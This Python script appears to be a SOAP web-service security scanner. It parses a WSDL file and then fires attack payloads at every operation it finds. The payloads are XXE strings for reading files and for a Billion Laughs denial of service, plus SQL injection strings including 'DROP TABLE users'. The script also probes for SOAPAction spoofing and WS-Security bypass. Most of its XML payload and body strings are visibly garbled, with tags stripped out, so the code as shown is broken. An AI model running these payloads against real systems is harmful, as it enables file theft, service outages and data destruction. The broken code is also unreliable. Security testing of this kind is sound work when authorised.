#!/usr/bin/env python3
"""Agent for security testing SOAP web services.
Parses WSDL definitions using zeep/lxml, tests for XXE, SQL injection,
SOAPAction spoofing, and WS-Security bypass vulnerabilities.
"""
import json
import os
import requests
import sys
from lxml import etree
SOAP_NS = {
"wsdl": "http://schemas.xmlsoap.org/wsdl/",
"soap": "http://schemas.xmlsoap.org/wsdl/soap/",
"soap12": "http://schemas.xmlsoap.org/wsdl/soap12/",
"wsse": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd",
}
class SOAPSecurityTester:
"""Tests SOAP web services for common vulnerabilities."""
def __init__(self, wsdl_url, endpoint_url=None):
self.wsdl_url = wsdl_url
self.endpoint_url = endpoint_url
self.operations = []
self.findings = []
def parse_wsdl(self):
"""Fetch and parse the WSDL to extract operations and endpoint."""
resp = requests.get(self.wsdl_url, timeout=30)
resp.raise_for_status()
root = etree.fromstring(resp.content)
if not self.endpoint_url:
addr = root.find(".//soap:address", SOAP_NS)
if addr is not None:
self.endpoint_url = addr.get("location")
for binding_op in root.findall(".//wsdl:binding/wsdl:operation", SOAP_NS):
name = binding_op.get("name")
soap_op = binding_op.find("soap:operation", SOAP_NS)
action = soap_op.get("soapAction", "") if soap_op is not None else ""
self.operations.append({"name": name, "action": action})
return self.operations
def _send_soap(self, body_xml, soap_action="", timeout=10):
headers = {"Content-Type": "text/xml; charset=utf-8"}
if soap_action:
headers["SOAPAction"] = soap_action
return requests.post(self.endpoint_url, data=body_xml,
headers=headers, timeout=timeout)
def test_xxe(self, operation_name):
"""Test for XML External Entity injection."""
payloads = [
("Classic XXE file read",
f']>'
f'<{operation_name}>&xxe;{operation_name}>'
f''),
("Billion Laughs DoS",
f''
f']>'
f''
f'<{operation_name}>&l3;{operation_name}>'
f''),
]
results = []
for name, payload in payloads:
try:
resp = self._send_soap(payload, timeout=10)
vulnerable = "root:" in resp.text or resp.elapsed.total_seconds() > 5
if vulnerable:
self.findings.append({"severity": "CRITICAL", "type": "XXE",
"operation": operation_name, "test": name})
results.append({"test": name, "vulnerable": vulnerable,
"status": resp.status_code,
"time_s": resp.elapsed.total_seconds()})
except requests.RequestException as exc:
results.append({"test": name, "error": str(exc)})
return results
def test_sql_injection(self, operation_name, soap_action=""):
"""Test SOAP parameters for SQL injection error disclosure."""
sqli_payloads = ["' OR '1'='1", "1; DROP TABLE users--",
"' UNION SELECT NULL--", "admin'/*"]
results = []
sql_errors = ["SQL syntax", "ORA-", "SQLSTATE", "Unclosed quotation",
"Microsoft OLE DB", "PostgreSQL"]
for payload in sqli_payloads:
body = (f''
f'<{operation_name}>'
f'{payload}{operation_name}>'
f'')
try:
resp = self._send_soap(body, soap_action, timeout=15)
error_found = any(e in resp.text for e in sql_errors)
if error_found:
self.findings.append({"severity": "CRITICAL", "type": "SQL Injection",
"operation": operation_name,
"payload": payload[:30]})
results.append({"payload": payload, "sql_error": error_found,
"status": resp.status_code})
except requests.RequestException:
continue
return results
def test_soapaction_spoofing(self):
"""Test whether mismatched SOAPAction headers are accepted."""
results = []
for i, op in enumerate(self.operations):
for j, other in enumerate(self.operations):
if i == j:
continue
body = (f''
f'<{op["name"]}>test
'
f'{op["name"]}>')
try:
resp = self._send_soap(body, other["action"])
if resp.status_code == 200 and "Fault" not in resp.text:
self.findings.append({"severity": "HIGH",
"type": "SOAPAction Spoofing",
"operation": op["name"],
"spoofed_action": other["action"]})
results.append({"op": op["name"],
"spoofed": other["action"], "accepted": True})
except requests.RequestException:
continue
return results
def test_ws_security_bypass(self):
"""Test whether requests without WS-Security tokens are accepted."""
if not self.operations:
return []
op = self.operations[0]
body = (f''
f'<{op["name"]}>test
'
f'{op["name"]}>')
try:
resp = self._send_soap(body)
accepted = resp.status_code == 200 and "Fault" not in resp.text
if accepted:
self.findings.append({"severity": "CRITICAL",
"type": "WS-Security Bypass",
"operation": op["name"]})
return [{"test": "No WS-Security header", "accepted": accepted}]
except requests.RequestException as exc:
return [{"error": str(exc)}]
def generate_report(self):
report = {"target": self.endpoint_url, "wsdl": self.wsdl_url,
"operations": len(self.operations),
"findings_count": len(self.findings),
"findings": self.findings}
print(json.dumps(report, indent=2))
return report
def main():
wsdl = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("SOAP_WSDL_URL", "http://localhost:8080/ws?wsdl")
tester = SOAPSecurityTester(wsdl)
tester.parse_wsdl()
for op in tester.operations:
tester.test_xxe(op["name"])
tester.test_sql_injection(op["name"], op["action"])
tester.test_soapaction_spoofing()
tester.test_ws_security_bypass()
tester.generate_report()
if __name__ == "__main__":
main()